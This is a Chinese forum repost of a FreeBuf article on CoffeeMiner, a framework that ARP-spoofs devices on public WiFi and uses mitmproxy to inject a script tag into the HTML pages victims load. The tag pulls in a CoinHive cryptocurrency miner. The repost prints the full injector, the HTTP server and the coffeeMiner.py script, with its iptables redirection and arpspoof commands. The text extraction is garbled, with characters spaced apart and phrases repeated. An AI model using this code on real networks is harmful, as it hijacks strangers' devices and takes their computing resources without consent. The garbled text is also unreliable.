搜索

[12231] 2018-01-13_CoffeeMiner：劫持WiFi网络接入设备进行“挖矿”的框架

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2018-01-13_CoffeeMiner：劫持WiFi网络接入设备进行“挖矿”的框架 C o f f e e M i n e r ： 劫 持 W i F i 网 络 接 入 设 备 进 行 “ 挖 矿 ” 的 框 架 c l o u d s   F r e e B u f   2 0 1 8 - 0 1 - 1 3 几 个 星 期 以 前 ， 我 看 到 了 网 上 关 于 几 个 星 期 以 前 ， 我 看 到 了 网 上 关 于 黑 客 劫 持 星 巴 克 黑 客 劫 持 星 巴 克 W i F i 网 络 网 络 中 的 笔 记 本 电 脑 进 行 中 的 笔 记 本 电 脑 进 行 “ 挖 矿 挖 矿 ” 的 报 道 ， 非 常 有 意 思 ， 的 报 道 ， 非 常 有 意 思 ， 结 合 分 析 ， 我 认 为 ， 还 能 用 中 间 人 结 合 分 析 ， 我 认 为 ， 还 能 用 中 间 人 M I T M 测 试 方 式 来 实 现 类 似 目 的 。 本 文 中 我 们 就 来 讨 论 ， 如 何 以 测 试 方 式 来 实 现 类 似 目 的 。 本 文 中 我 们 就 来 讨 论 ， 如 何 以 M I T M 方 式 方 式 在 在 h t m l 页 面 中 注 入 页 面 中 注 入 j a v a s c r i p t ， 让 那 些 接 入 公 共 ， 让 那 些 接 入 公 共 W I F I 的 电 子 设 备 成 为 黑 客 手 中 的 的 电 子 设 备 成 为 黑 客 手 中 的 “ 挖 矿 挖 矿 ” 矿 工 。 最 终 我 会 编 写 一 矿 工 。 最 终 我 会 编 写 一 个 实 际 的 被 称 为 个 实 际 的 被 称 为 “ C o f f e e M i n e r ” 的 脚 本 ， 可 以 用 它 来 在 咖 啡 店 等 公 开 的 脚 本 ， 可 以 用 它 来 在 咖 啡 店 等 公 开 W I F I 网 络 环 境 中 进 行 匿 名 渗 透 ， 实 现 掌 控 网 络 环 境 中 进 行 匿 名 渗 透 ， 实 现 掌 控 大 量 电 子 设 备 开 展 大 量 电 子 设 备 开 展 “ 挖 矿 挖 矿 ” 目 的 。 目 的 。 测 试 场 景 测 试 场 景 要 在 在 一 个 公 开 的 W I F I 网 络 环 境 中 实 现 该 种 目 的 ， C o f f e e M i n e r 测 试 者 要 试 图 拦 截 用 户 和 路 由 器 之 间 的 流 量 ， 如 下 所 示 ：
场 景 设 置 场 景 设 置 真 实 场 景 中 ， W I F I 网 络 中 接 入 了 各 种 智 能 手 机 或 平 板 电 脑 ， 为 了 方 便 深 入 分 析 ， 我 们 搭 建 了 一 个 虚 拟 网 络 环 境 进 行 测 试 。 在 此 会 用 到 V i r t u a l B o x 和 安 装 在 其 中 的 K a l i   L i n u x ， 我 们 会 安 装 3 个 虚 拟 机 K a l i 系 统 ， 分 别 扮 演 以 下 角 色 ： 受 害 者 ： 接 入 了 W I F I 路 由 器 并 浏 览 了 某 些 恶 意 页 面 测 试 者 ： 运 行 C o f f e e M i n e r 工 具 ， 发 起 M I T M 测 试 路 由 / 网 关 设 备 ： 起 到 普 通 网 关 作 用 一 旦 发 起 测 试 ， 实 际 场 景 应 该 是 这 样 的 ， 即 受 害 者 的 网 络 流 量 要 被 劫 持 ： 我 们 分 别 对 3 台 虚 拟 机 进 行 以 下 配 置 ： 受 害 者 受 害 者 网 络 适 配 器 ： e t h 0 :   H o s t - o n l y   A d a p t e r / e t c / n e t w o r k / i n t e r f a c e s : 测 试 者 测 试 者 网 络 适 配 器 ： e t h 0 :   H o s t - o n l y   A d a p t e r / e t c / n e t w o r k / i n t e r f a c e s :
路 由 路 由 / 网 关 设 备 网 关 设 备 网 络 适 配 器 ： e t h 0 :   B r i d g e d   A d a p t e r e t h 1 :   H o s t - o n l y   A d a p t e r / e t c / n e t w o r k / i n t e r f a c e s : 编 写 编 写 C o f f e e M i n e r 代 码 代 码 A R P   s p o o f i n g 功 能 模 块 功 能 模 块 在 这 里 ， 我 们 采 用 A R P   s p o o f i n g 来 实 现 中 间 人 M I T M 测 试 ： 在 计 算 机 网 络 中 ， A R P 欺 骗 、 A R P 缓 存 中 毒 或 A R P 路 由 毒 化 都 是 测 试 者 在 局 域 网 中 发 送 假 冒 A R P 消 息 的 技 术 ， 一 般 来 说 ， 其 目 标 是 将 测 试 者 的 M A C 地 址 与 默 认 网 关 或 其 它 主 机 的 I P 地 址 相 关 联 ， 从 而 可 将 该 I P 地 址 相 关 的 任 何 网 络 通 信 流 量 转 发 到 测 试 者 电 脑 ， 实 现 流 量 拦 截 和 数 据 窃 取 等 多 种 恶 意 目 的 。 为 了 实 现 该 功 能 ， 我 们 要 用 到 a r p s p o o f 和 嗅 探 工 具 d s n i f f ： m i t m p r o x y m i t m p r o x y 是 一 款 流 量 分 析 和 编 辑 工 具 ， 可 以 用 它 来 发 起 中 间 人 测 试 M I T M 。 在 此 ， 我 们 可 以 用 它 来 在 h t m l 页 面 中 注 入 j a v a s c r i p t 脚 本 ， 出 于 操 作 简 易 ， 我 们 只 向 h t m l 页 面 中 注 入 一 行 代 码 ， 之 后 该 行 代 码 就 会 远 程 调 用 执 行 相 应 的 j a v a s c r i p t 挖 矿 脚 本 。 该 行 注 入 代 码 为 ： I n j e c t o r < s c r i p t   s r c = " h t t p : / / h t t p s e r v e r I P : 8 0 0 0 / s c r i p t . j s " > < / s c r i p t >
一 旦 我 们 截 获 了 受 害 者 的 网 络 流 量 之 后 ， 就 可 在 其 中 注 入 我 们 构 造 的 脚 本 ， 为 了 实 现 脚 本 注 入 ， 我 们 需 要 用 到 m i t m p r o x y   A P I   来 编 写 相 应 i n j e c t o r 代 码 ： H T T P   S e r v e r 如 前 所 述 ， 当 i n j e c t o r 向 h t m l 页 面 中 添 加 了 一 行 代 码 后 ， 就 会 调 用 J a v a S c r i p t 挖 矿 脚 本 ， 所 以 ， 需 要 在 H T T P 服 务 器 中 部 署 该 脚 本 文 件 。 而 为 了 实 现 该 脚 本 的 请 求 调 用 ， 须 在 测 试 者 电 脑 中 部 署 一 个 H T T P 服 务 器 ， 为 此 ， 我 们 要 用 到 P y t h o n 的 ‘ h t t p . s e r v e r ’ 库 功 能 ： 上 面 的 代 码 就 是 一 个 托 管 挖 矿 服 务 的 简 单 H T T P 服 务 器 ， 其 中 托 管 脚 本 会 被 放 置 在 / m i n e r _ s c r i p t 目 录 下 ， 为 了 实 现 真 正 的 挖 矿 ， 我 在 此 使 用 了 C o i n H i v e 的 J a v a S c r i p t 挖 矿 平 台 工 具 。 C o i n H i v e 挖 矿 工 具 挖 矿 工 具 C o i n h i v e 其 实 是 一 个 门 罗 币 挖 矿 工 具 ， 它 可 以 嵌 入 被 测 试 者 控 制 的 肉 鸡 网 站 上 ， 每 当 用 户 访 问 该 网 站 时 ， 用 户 C P U 资 源 就 会 被 占 用 ， 用 来 计 算 C r y p t o N o t e 协 议 相 关 的 加 密 货 币 哈 希 值 ， 用 户 电 脑 也 就 间 接 沦 为 了 测 试 者 的 “ 矿 工 ” 。 C o i n h i v e 挖 矿 工 具 的 执 行 ， 要 在 受 害 者 打 开 页 面 4 0 秒 后 才 能 开 始 ， 所 以 ， 如 果 受 害 者 浏 览 页 面 时 间 不 足 4 0 秒 ， C o i n h i v e 的 挖 矿 任 务 失 效 。 本 例 中 ， 我 会 在 受 害 者 请 求 的 每 个 h t m l 页 面 中 注 入 挖 矿 脚 本 ， 所 以 时 间 上 肯 定 足 够 。 f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p f r o m   m i t m p r o x y   i m p o r t   c t x ,   h t t p i m p o r t   a r g p a r s e c l a s s   I n j e c t o r :         d e f   _ _ i n i t _ _ ( s e l f ,   p a t h ) :                 s e l f . p a t h   =   p a t h         d e f   r e s p o n s e ( s e l f ,   f l o w :   h t t p . H T T P F l o w )   - >   N o n e :                 i f   s e l f . p a t h :                         h t m l   =   B e a u t i f u l S o u p ( f l o w . r e s p o n s e . c o n t e n t ,   " h t m l . p a r s e r " )                         p r i n t ( s e l f . p a t h )                         p r i n t ( f l o w . r e s p o n s e . h e a d e r s [ " c o n t e n t - t y p e " ] )                         i f   f l o w . r e s p o n s e . h e a d e r s [ " c o n t e n t - t y p e " ]   = =   ' t e x t / h t m l ' :                                 s c r i p t   =   h t m l . n e w _ t a g (                                         " s c r i p t " ,                                         s r c = s e l f . p a t h ,                                         t y p e = ' a p p l i c a t i o n / j a v a s c r i p t ' )                                 h t m l . b o d y . i n s e r t ( 0 ,   s c r i p t )                                 f l o w . r e s p o n s e . c o n t e n t   =   s t r ( h t m l ) . e n c o d e ( " u t f 8 " )                                 p r i n t ( " S c r i p t   i n j e c t e d . " ) d e f   s t a r t ( ) :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( )         p a r s e r . a d d _ a r g u m e n t ( " p a t h " ,   t y p e = s t r )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         r e t u r n   I n j e c t o r ( a r g s . p a t h ) # ! / u s r / b i n / e n v   p y t h o n i m p o r t   h t t p . s e r v e r i m p o r t   s o c k e t s e r v e r i m p o r t   o s P O R T   =   8 0 0 0 w e b _ d i r   =   o s . p a t h . j o i n ( o s . p a t h . d i r n a m e ( _ _ f i l e _ _ ) ,   ' m i n e r _ s c r i p t ' ) o s . c h d i r ( w e b _ d i r ) H a n d l e r   =   h t t p . s e r v e r . S i m p l e H T T P R e q u e s t H a n d l e r h t t p d   =   s o c k e t s e r v e r . T C P S e r v e r ( ( " " ,   P O R T ) ,   H a n d l e r ) p r i n t ( " s e r v i n g   a t   p o r t " ,   P O R T ) h t t p d . s e r v e _ f o r e v e r ( )
C o f f e e M i n e r 代 码 组 合 代 码 组 合 等 所 有 条 件 准 备 好 之 后 ， 我 们 就 可 以 在 某 个 W I F I 环 境 中 进 行 隐 蔽 部 署 了 ， 现 在 我 们 来 看 看 C o f f e e M i n e r 的 实 现 。 C o f f e e M i n e r 脚 本 会 执 行 A R P 欺 骗 ， 并 能 用 m i t m p r o x y 将 C o i n H i v e   挖 矿 程 序 注 入 受 害 者 请 求 的 h t m l 页 面 中 。 首 先 ， 为 了 把 测 试 者 主 机 转 化 为 中 间 代 理 ， 需 要 对 i p _ f o r w a r d i n g 和 I P T A B L E S 进 行 配 置 ： 为 了 对 所 有 受 害 者 执 行 A R P 欺 骗 ， 我 会 使 用 一 些 P y t h o n 代 码 来 读 取 所 有 受 害 者 I P ， 并 用 一 个 名 为 ‘ v i c t i m s . t x t ’ 的 文 件 来 存 储 这 些 I P ， 之 后 再 对 这 些 I P 执 行 A R P 欺 骗 ： 一 旦 A R P 欺 骗 操 作 发 起 后 ， 运 行 H T T P 服 务 器 即 可 ： 之 后 ， 就 可 利 用 m i t m p r o x y 来 执 行 注 入 程 序   i n j e c t o r . p y ： 最 终 脚 本 最 终 脚 本 c o f f e e M i n e r . p y ： ： i n j e c t o r . p y ： ： #   g e t   g a t e w a y _ i p g a t e w a y   =   s y s . a r g v [ 1 ] p r i n t ( " g a t e w a y :   "   +   g a t e w a y ) #   g e t   v i c t i m s _ i p v i c t i m s   =   [ l i n e . r s t r i p ( ' n ' )   f o r   l i n e   i n   o p e n ( " v i c t i m s . t x t " ) ] p r i n t ( " v i c t i m s : " ) p r i n t ( v i c t i m s ) #   r u n   t h e   a r p s p o o f   f o r   e a c h   v i c t i m ,   e a c h   o n e   i n   a   n e w   c o n s o l e f o r   v i c t i m   i n   v i c t i m s :         o s . s y s t e m ( " x t e r m   - e   a r p s p o o f   - i   e t h 0   - t   "   +   v i c t i m   +   "   "   +   g a t e w a y   +   "   & " )         o s . s y s t e m ( " x t e r m   - e   a r p s p o o f   - i   e t h 0   - t   "   +   g a t e w a y   +   "   "   +   v i c t i m   +   "   & " ) i m p o r t   o s i m p o r t   s y s # g e t   g a t e w a y _ i p   ( r o u t e r ) g a t e w a y   =   s y s . a r g v [ 1 ] p r i n t ( " g a t e w a y :   "   +   g a t e w a y ) #   g e t   v i c t i m s _ i p v i c t i m s   =   [ l i n e . r s t r i p ( ' n ' )   f o r   l i n e   i n   o p e n ( " v i c t i m s . t x t " ) ] p r i n t ( " v i c t i m s : " ) p r i n t ( v i c t i m s ) #   c o n f i g u r e   r o u t i n g   ( I P T A B L E S ) o s . s y s t e m ( " e c h o   1   >   / p r o c / s y s / n e t / i p v 4 / i p _ f o r w a r d " ) o s . s y s t e m ( " i p t a b l e s   - t   n a t   - A   P O S T R O U T I N G   - o   e t h 0   - j   M A S Q U E R A D E " ) o s . s y s t e m ( " i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - - d e s t i n a t i o n - p o r t   8 0   - j   R E D I R E C T   - - t o - p o r t   8 0 8 0 " ) o s . s y s t e m ( " i p t a b l e s   - t   n a t   - A   P R E R O U T I N G   - p   t c p   - - d e s t i n a t i o n - p o r t   4 4 3   - j   R E D I R E C T   - - t o - p o r t   8 0 8 0 " ) #   r u n   t h e   a r p s p o o f   f o r   e a c h   v i c t i m ,   e a c h   o n e   i n   a   n e w   c o n s o l e f o r   v i c t i m   i n   v i c t i m s :         o s . s y s t e m ( " x t e r m   - e   a r p s p o o f   - i   e t h 0   - t   "   +   v i c t i m   +   "   "   +   g a t e w a y   +   "   & " )         o s . s y s t e m ( " x t e r m   - e   a r p s p o o f   - i   e t h 0   - t   "   +   g a t e w a y   +   "   "   +   v i c t i m   +   "   & " ) #   s t a r t   t h e   h t t p   s e r v e r   f o r   s e r v i n g   t h e   s c r i p t . j s ,   i n   a   n e w   c o n s o l e o s . s y s t e m ( " x t e r m   - h o l d   - e   ' p y t h o n 3   h t t p S e r v e r . p y '   & " ) #   s t a r t   t h e   m i t m p r o x y o s . s y s t e m ( " ~ / . l o c a l / b i n / m i t m d u m p   - s   ' i n j e c t o r . p y   h t t p : / / 1 0 . 0 . 2 . 2 0 : 8 0 0 0 / s c r i p t . j s '   - T " )
测 试 执 行 操 作 ： p y t h o n 3   c o f f e e M i n e r . p y   R o u t e r I P 测 试 演 示 测 试 演 示 我 们 在 虚 拟 机 环 境 下 进 行 演 示 ， 先 来 在 终 端 中 进 行 手 动 测 试 ： A R P 欺 骗 执 行 之 后 ， i n j e c t o r 注 入 程 序 和 H T T P 服 务 器 就 绪 ， 一 旦 受 害 者 访 问 了 恶 意 网 页 之 后 ， 其 所 有 网 络 流 量 将 会 转 发 到 测 试 者 主 机 ， 并 触 发 注 入 ： f r o m   b s 4   i m p o r t   B e a u t i f u l S o u p f r o m   m i t m p r o x y   i m p o r t   c t x ,   h t t p i m p o r t   a r g p a r s e c l a s s   I n j e c t o r :         d e f   _ _ i n i t _ _ ( s e l f ,   p a t h ) :                 s e l f . p a t h   =   p a t h         d e f   r e s p o n s e ( s e l f ,   f l o w :   h t t p . H T T P F l o w )   - >   N o n e :                 i f   s e l f . p a t h :                         h t m l   =   B e a u t i f u l S o u p ( f l o w . r e s p o n s e . c o n t e n t ,   " h t m l . p a r s e r " )                         p r i n t ( s e l f . p a t h )                         p r i n t ( f l o w . r e s p o n s e . h e a d e r s [ " c o n t e n t - t y p e " ] )                         i f   f l o w . r e s p o n s e . h e a d e r s [ " c o n t e n t - t y p e " ]   = =   ' t e x t / h t m l ' :                                 p r i n t ( f l o w . r e s p o n s e . h e a d e r s [ " c o n t e n t - t y p e " ] )                                 s c r i p t   =   h t m l . n e w _ t a g (                                         " s c r i p t " ,                                         s r c = s e l f . p a t h ,                                         t y p e = ' a p p l i c a t i o n / j a v a s c r i p t ' )                                 h t m l . b o d y . i n s e r t ( 0 ,   s c r i p t )                                 f l o w . r e s p o n s e . c o n t e n t   =   s t r ( h t m l ) . e n c o d e ( " u t f 8 " )                                 p r i n t ( " S c r i p t   i n j e c t e d . " ) d e f   s t a r t ( ) :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( )         p a r s e r . a d d _ a r g u m e n t ( " p a t h " ,   t y p e = s t r )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         r e t u r n   I n j e c t o r ( a r g s . p a t h )
因 此 ， 受 害 者 浏 览 的 页 面 将 被 注 入 恶 意 挖 矿 服 务 调 用 代 码 ： 视 频 演 示 视 频 演 示 以 下 视 频 中 ， 我 们 可 看 到 使 用 c o f f e e M i n e r . p y 进 行 测 试 的 完 整 流 程 ：
看 不 到 ， 点 这 里 真 实 网 络 环 境 中 的 测 试 演 示 ： 看 不 到 ， 点 这 里 总 结 总 结 如 上 所 示 ， 黑 客 可 以 非 常 容 易 地 在 某 个 W I F I 环 境 中 发 起 隐 蔽 恶 意 行 为 ， 对 接 入 网 络 的 大 量 电 子 设 备 进 行 掌 控 并 利 用 其 开 展 “ 挖 矿 ” 活 动 。 通 常 ， 一 些 具 备 强 力 信 号 的 W I F I 网 络 可 能 会 被 黑 客 利 用 ， 另 外 ， 黑 客 可 能 还 会 在 程 序 中 加 入 N m a p 扫 描 和 s s l s t r i p 功 能 。 C o f f e e M i n e r 完 整 代 码 请 访 问 h t t p s : / / g i t h u b . c o m / a r n a u c o d e / c o f f e e M i n e r * 参 考 来 源 ： 参 考 来 源 ： a r n a u c o d e ， ， f r e e b u f 小 编 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理